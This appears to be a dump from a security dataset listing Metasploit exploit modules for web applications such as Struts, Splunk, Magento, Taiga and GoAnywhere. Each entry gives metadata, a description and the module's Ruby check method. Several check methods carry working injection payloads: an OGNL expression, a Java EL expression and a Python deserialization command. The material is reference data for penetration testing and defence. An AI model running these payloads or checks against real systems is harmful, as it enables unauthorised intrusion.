deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Pallete Projects Werkzeug Debugger Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/werkzeug_debug_rce.rb
Platform: python
Disclosure date: 2015-06-28
References: CVE-2024-34069, URL-https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger, URL-https://flask.palletsprojects.com/debugging/#the-built-in-debugger, URL-https://web.archive.org/web/[PII_REDACTED]4248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger, URL-https://web.archive.org/web/[PII_REDACTED]1830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger, URL-https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&

Description:
This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django. It may also be used alone.

          The documentation states the following: "The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production." Of course this doesn't prevent developers from mistakenly enabling it in production!

          Tested against the following Werkzeug versions:
          - 3.0.3  on Debian 12, Windows 11 and macOS 14.6
          - 1.1.4  on Debian 12
          - 1.0.1  on Debian 12
          - 0.11.5 on Debian 12
          - 0.10   on Debian 12

Check method (fingerprinting):
c = config_invalid?
    return c if c

    match = secret_and_frame
    unless match
      return CheckCode::Unknown('HTTP response not recognised as Werkzeug')
    end
    unless match[:evalex_enabled]
      return CheckCode::Safe('Debugger does not allow code execution')
    end

    print_status 'Debugger allows code execution'
    if match[:pin_required]
      return CheckCode::Detected('Debugger requires authentication')
    end

    print_status 'Debugger does not require authentication'
    # Now check whether code execution is possible by evaluating something
    unless check_code_exec(match[:secret], match[:frame] || 0)
      return CheckCode::Safe('Attempted code execution failed')
    end

    CheckCode::Vulnerable('Code execution was successful')
  end
Metasploit Module: Primefaces Remote Code Execution Exploit
Type: exploit
Path: modules/exploits/multi/http/primefaces_weak_encryption_rce.rb
Platform: unix
Disclosure date: 2016-02-15
References: CVE-2[PII_REDACTED], URL-https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html, URL-https://web.archive.org/web/[PII_REDACTED]4733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces, URL-https://schuette.se/2018/01/17/cve-2[PII_REDACTED]-in-your-primeface/, URL-https://github.com/primefaces/primefaces/issues/1152, URL-https://github.com/pimps/CVE-2[PII_REDACTED]/tree/master, EDB-43733

Description:
This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.
          Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
          due to the use of weak crypto and default encryption password and salt.

          Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See
          documentation for working payloads.

Check method (fingerprinting):
marker = rand_text_alpha_lower(5..9)
    # https://github.com/Pastea/CVE-2[PII_REDACTED]/blob/main/exploit.py#L135C14-L135C92
    # payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}'
    payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}"

    res = http_send_command(payload_wrapper)
    return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?
    return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker

    Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable')
  end
Metasploit Module: Mutiny Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/mutiny_subnetmask_exec.rb
Platform: unix
Disclosure date: 2012-10-22
References: CVE-2012-3001, OSVDB-86570, BID-56165, US-CERT-VU-841851, URL-http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html
Targets: Unix CMD, Linux Payload

Description:
This module exploits an authenticated command injection vulnerability in the
          Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit
          the vulnerability the mutiny user must have access to the admin interface. The
          injected commands are executed with root privileges. This module has been tested
          successfully on Mutiny 4.2-1.05.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'logon.jsp')
    })

    if res and res.body =~ /: Mutiny : Login @ mutiny/
      return Exploit::CheckCode::Detected('The target application was detected but requires authentication')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution
Type: exploit
Path: modules/exploits/multi/http/struts_default_action_mapper.rb
Platform: win
Disclosure date: 2013-07-02
References: CVE-2013-2251, OSVDB-95405, BID-61189, URL-http://struts.apache.org/release/2.3.x/docs/s2-016.html
Targets: Windows, Linux

Description:
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation
          state changes by prefixing parameters with "action:" or "redirect:", followed by
          a desired navigational target expression. This mechanism was intended to help with
          attaching navigational information to buttons within forms.

          In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or
          "redirectAction:" is not properly sanitized. Since said information will be
          evaluated as OGNL expression against the value stack, this introduces the
          possibility to inject server side code.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET'
    })

    if res.nil? or res.code != 200
      vprint_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
      return Exploit::CheckCode::Unknown('No response received from the target')
    end

    proof = rand_text_alpha(rand(6..9))

    res = send_request_cgi({
      'uri' => "#{uri}?redirect:%24{new%20java.lang.String('#{proof}')}",
      'method' => 'GET'
    })

    if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ and res.headers['Location'] !~ /String/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Simple Backdoor Shell Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/simple_backdoors_exec.rb
Platform: unix
Disclosure date: 2015-09-08
References: URL-http://resources.infosecinstitute.com/checking-out-backdoor-shells/, URL-https://github.com/danielmiessler/SecLists/tree/master/Payloads

Description:
This module exploits unauthenticated simple web backdoor shells by leveraging the
          common backdoor shell's vulnerable parameter  to execute commands. The SecLists project of
          Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells
          which is categorized under Payloads.

Check method (fingerprinting):
test = Rex::Text.rand_text_alpha(8)
    res = http_send_command(test)
    if res && res.body =~ /#{test}/
      return Exploit::CheckCode::Vulnerable('Backdoor command execution confirmed')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Malicious Git and Mercurial HTTP Server For CVE-2014-9390
Type: exploit
Path: modules/exploits/multi/http/git_client_command_exec.rb
Disclosure date: 2014-12-18
References: CVE-2014-9390, URL-https://www.rapid7.com/blog/post/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial, URL-http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html, URL-http://article.gmane.org/gmane.linux.kernel/1853266, URL-https://github.com/blog/1938-vulnerability-announced-update-your-git-clients, URL-https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/, URL-http://web.archive.org/web/[PII_REDACTED]0335/https://mercurial.selenic.com/wiki/WhatsNew, URL-http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e, URL-http://selenic.com/repo/hg-stable/rev/6dad422ecc5a
Targets: Automatic, Windows Powershell

Description:
This module exploits CVE-2014-9390, which affects Git (versions less
          than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
          less than 3.2.3) and describes three vulnerabilities.

          On operating systems which have case-insensitive file systems, like
          Windows and OS X, Git clients can be convinced to retrieve and
          overwrite sensitive configuration files in the .git
          directory which can allow arbitrary code execution if a vulnerable
          client can be convinced to perform certain actions (for example,
          a checkout) against a malicious Git repository.

          A second vulnerability with similar characteristics also exists in both
          Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where
          certain Unicode codepoints are ignorable.

          The third vulnerability with similar characteristics only affects
          Mercurial clients on Windows, where Windows "short names"
          (MS-DOS-compatible 8.3 format) are supported.

          Today this module only truly supports the first vulnerability (Git
          clients on case-insensitive file systems) but has the functionality to
          support the remaining two with a little work.
Metasploit Module: Splunk "edit_user" Capability Privilege Escalation
Type: exploit
Path: modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
Platform: %w[linux unix
Disclosure date: 2023-06-01
References: CVE-2023-32707, URL-https://advisory.splunk.com/advisories/SVD-2023-0602, URL-https://blog.redwaysecurity.com/2023/09/exploit-cve-2023-32707.html, URL-https://github.com/redwaysecurity/CVEs/tree/main/CVE-2023-32707
Targets: Splunk < 9.0.5, 8.2.11, and 8.1.14 / Linux, Splunk < 9.0.5, 8.2.11, and 8.1.14 / Windows

Description:
A low-privileged user who holds a role that has the "edit_user" capability assigned to it
          can escalate their privileges to that of the admin user by providing a specially crafted web request.
          This is because the "edit_user" capability does not honor the "grantableRoles" setting in the authorize.conf
          configuration file, which prevents this scenario from happening.

          This exploit abuses this vulnerability to change the admin password and login with it to upload a malicious app achieving RCE.

Check method (fingerprinting):
self.cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
      'method' => 'GET',
      'cookie' => cookie,
      'vars_get' => {
        'output_mode' => 'json'
      }
    })

    return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200

    body = res.get_json_document
    version = Rex::Version.new(body['generator']['version'])

    return CheckCode::Safe("Detected Splunk version #{version} which is not vulnerable") unless
      (Rex::Version.new('9.0.0') <= version && version < Rex::Version.new('9.0.5')) ||
      (Rex::Version.new('8.2.0') <= version && version < Rex::Version.new('8.2.11')) ||
      (Rex::Version.new('8.1.0') <= version && version < Rex::Version.new('8.1.14'))

    print_status("Detected Splunk version #{version} which is vulnerable")
    capabilities = body['entry'].first['content']['capabilities']

    return CheckCode::Safe("User '#{datastore['USERNAME']}' does not have 'edit_user' capability") unless capabilities.include? 'edit_user'

    report_vuln(
      host: rhost,
      name: name,
      refs: references,
      info: [version]
    )

    CheckCode::Vulnerable("User '#{datastore['USERNAME']}' has 'edit_user' capability")
  end
Metasploit Module: ChurchCRM Unauthenticated RCE via Setup Page
Type: exploit
Path: modules/exploits/multi/http/churchcrm_install_unauth_rce.rb
Platform: linux
Disclosure date: 2025-12-17
References: CVE-2025-62521
Targets: Linux/unix Command (CmdStager), PHP (In-Memory), PHP (Fetch)

Description:
ChurchCRM <= 6.8.0 allows unauthenticated remote code execution via
          the setup page. The DB_PASSWORD field in the installation form is written
          directly into Include/Config.php without sanitization, allowing PHP code
          injection. The injected config file is then included on every request,
          triggering the payload. Note that the fix claimed in 5.21.0 only added
          a strlen check on the password field, leaving the injection intact.

Check method (fingerprinting):
res = send_request_cgi('method' => 'GET', 'uri' => setup_uri)

    return CheckCode::Unknown('Failed to connect to the target.') unless res
    return CheckCode::Unknown('Setup page is inaccessible') unless res.code == 200

    version = res.headers['CRM-VERSION']
    return CheckCode::Detected('Setup page accessible but no version header') unless version

    return CheckCode::Safe("Version #{version} is not vulnerable") unless Rex::Version.new(version) <= Rex::Version.new('6.8.0')

    CheckCode::Appears("Vulnerable version #{version}")
  end
Metasploit Module: PHP Utility Belt Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/php_utility_belt_rce.rb
Platform: php
Disclosure date: 2015-12-08
References: EDB-38901, URL-https://github.com/mboynes/php-utility-belt

Description:
This module exploits a remote code execution vulnerability in PHP Utility Belt,
          which is a set of tools for PHP developers and should not be installed in a
          production environment, since this application runs arbitrary PHP code as an
          intended functionality.

Check method (fingerprinting):
txt = Rex::Text.rand_text_alpha(8)
    res = http_send_command("echo #{txt};")

    if res && res.body.include?(txt)
      Exploit::CheckCode::Vulnerable('Successfully verified arbitrary PHP code execution')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Magento 2.0.6 Unserialize Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/magento_unserialize.rb
Platform: php
Disclosure date: 2016-05-17
References: CVE-2016-4010, EDB-39838, URL-http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/, URL-http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/, URL-https://magento.com/security/patches/magento-206-security-update

Description:
This module exploits a PHP object injection vulnerability in Magento 2.0.6
          or prior.

Check method (fingerprinting):
define_globals
    # we actually exploit the bug, but just for a callback
    begin
      if create_fake_cart
        if generate_cart_id
          # twice, because we need to setup the phpinfo callback using
          # the Magento_Framework_DB_Transaction() pop chain
          res = ""
          (0..1).step(1) do |n|
            res = do_check
          end
          if (res && res.body.include?('phpinfo()'))
            return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
          else
            return Exploit::CheckCode::Safe('The target is not vulnerable')
          end
        end
      end
    rescue ::Rex::ConnectionError => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Wordpress Plugin Catch Themes Demo Import RCE
Type: exploit
Path: modules/exploits/multi/http/wp_catch_themes_demo_import.rb
Platform: php
Disclosure date: 2021-10-21
References: EDB-50580, CVE-2021-39352, URL-https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php, URL-https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352

Description:
The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated
          arbitrary file uploads via the import functionality found in the
          ~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation.
          Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.
          During testing this timeout was roughly 5min.

Check method (fingerprinting):
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?

    checkcode = check_plugin_version_from_readme('catch-themes-demo-import', '1.8')
    if checkcode == CheckCode::Safe
      print_error('catch-themes-demo-import not a vulnerable version')
    end
    checkcode
  end
Metasploit Module: Apache Jetspeed Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/apache_jetspeed_file_upload.rb
Platform: linux
Disclosure date: 2016-03-06
References: CVE-2016-0710, CVE-2016-0709, URL-http://haxx.ml/post/[PII_REDACTED]1/remote-code-execution-in-apache-jetspeed-230-and, URL-https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709, URL-https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710

Description:
This module exploits the unsecured User Manager REST API and a ZIP file
          path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier
          versions, to upload and execute a shell.

          Note: this exploit will create, use, and then delete a new admin user.

          Warning: in testing, exploiting the file upload clobbered the web
          interface beyond repair. No workaround has been found yet. Use this
          module at your own risk. No check will be implemented.
Metasploit Module: Openfire authentication bypass with RCE plugin
Type: exploit
Path: modules/exploits/multi/http/openfire_auth_bypass_rce_cve_2023_32315.rb
Platform: java
Disclosure date: 2023-05-26
References: CVE-2023-32315, URL-https://attackerkb.com/topics/7Tf5YGY3oT/cve-2023-32315, URL-https://github.com/miko550/CVE-2023-32315
Targets: Java Universal

Description:
Openfire is an XMPP server licensed under the Open Source Apache License.
          Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack
          via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment
          in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for
          administrative users.
          This module will use the vulnerability to create a new admin user that will be used to upload a Openfire management plugin
          weaponised with java native payload that triggers an RCE.
          This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0.
          The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the
          first version on the 4.8 branch, which is version 4.8.0.

Check method (fingerprinting):
openfire_version = get_version
    return CheckCode::Unknown('Unable to determine Openfire version') if openfire_version.nil?
    # check first for patched versions
    return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.6.8')
    return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.7.5')
    return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.8.0')

    if openfire_version < Rex::Version.new('4.8.0') && openfire_version >= Rex::Version.new('3.10.0')
      CheckCode::Appears("Openfire version is #{openfire_version}")
    else
      CheckCode::Safe("Openfire version is #{openfire_version}")
    end
  end
Metasploit Module: Taiga tribe_gig authenticated unserialize remote code execution
Type: exploit
Path: modules/exploits/multi/http/taiga_tribe_gig_unserial.rb
Platform: %w[linux unix python
Disclosure date: 2025-10-28
References: URL-https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5, CVE-2025-62368
Targets: Python payload, Linux Command

Description:
This module exploits an unserialization flaw by
          creating a userstory in a project.

Check method (fingerprinting):
cookie_jar.clear
    begin
      authenticate(datastore['USERNAME'], datastore['PASSWORD'])
      get_project
      project_status = get_status
    rescue TaigaClientException => e
      return Exploit::CheckCode::Unknown(e)
    end
    sleep_time = rand(5..10)
    pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
    command = Rex::Text.encode_base64(pl)
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_payload(command, project_status)
    end
    return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201

    user_story_id = res.get_json_document['id']
    res = delete_userstory(user_story_id)
    print_warning('Cleanup failed') unless res&.code == 204

    print_status("Elapsed time: #{elapsed_time} seconds.")
    return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: Fortra GoAnywhere MFT Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb
Platform: linux
Disclosure date: 2024-01-22
References: CVE-2024-0204, URL-https://www.fortra.com/security/advisory/fi-2024-001, URL-https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/

Description:
This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
          create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
          MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.

Check method (fingerprinting):
# We can query an undocumented unauthenticated REST API endpoint and pull the version number.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system')
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

    json_data = res.get_json_document

    product = json_data.dig('data', 'product')

    version = json_data.dig('data', 'version')

    return CheckCode::Unknown('No version information in response') if product.nil? || version.nil?

    # As per the Fortra advisory, the following version are affected:
    # * Fortra GoAnywhere MFT 6.x from 6.0.1
    # * Fortra GoAnywhere MFT 7.x before 7.4.1
    # This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.
    if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0'))
      return CheckCode::Appears("#{product} #{version}")
    end

    Exploit::CheckCode::Safe("#{product} #{version}")
  end